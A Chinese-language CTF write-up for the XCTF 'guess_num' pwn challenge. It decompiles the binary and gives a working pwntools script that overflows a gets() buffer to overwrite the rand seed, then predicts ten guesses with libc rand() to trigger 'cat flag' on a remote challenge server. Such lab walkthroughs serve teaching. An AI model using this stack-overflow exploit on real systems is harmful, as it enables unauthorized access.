攻防世界 guess_num
checksec guess_num
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
- 用IDA64打开,找到main函数,F5反编译,可以分析得出其基本逻辑为:首先从输入gets一个姓名,然后用种子初始化随机数发生器,对生成的随机数进行处理,然后输入一个整数,将随机数处理后的值与输入数值进行比较,如果10轮比较都相同则成功,随即调用
sub_C3E()
。该函数会cat flag。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}
- 查看v7所在栈,发现v7的范围
因此,只要栈溢出,将我们指定的值覆盖到seed的部分,然后借助ctypes调用Linux中C标准动态库libc.so.6,就可以按我们从IDA中直观看到的反编译后的代码的相同结构,编写随机数发生器的初始化和产生随机数的过程。
4. 通过ldd guess_num
查看标准库
linux-vdso.so.1 (0x00007ffef535e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd902bba000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9031ad000)
- 所以参考Python使用Ctypes与C/C++ DLL文件通信过程介绍及实例分析导入对应的C标准动态库即可。
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
- 具体求解过程如下:
from pwn import *
from ctypes import *
io = remote('220.249.52.133', 51872)
# 导入对应C标准动态库
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# gets到的v7需要先填满0x30到0x11之间,也即0x20字节,然后才会覆盖seed的部分,因此先放0x20个a再往seed放入1
payload = "a" * 0x20 + p64(1)
io.sendline(payload)
# 用我们存入的seed值对随机数发生器进行初始化,操作方法同IDA反编译后的main函数
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
io.sendline(num)
io.interactive()
cyberpeace
参考:wzsec's wp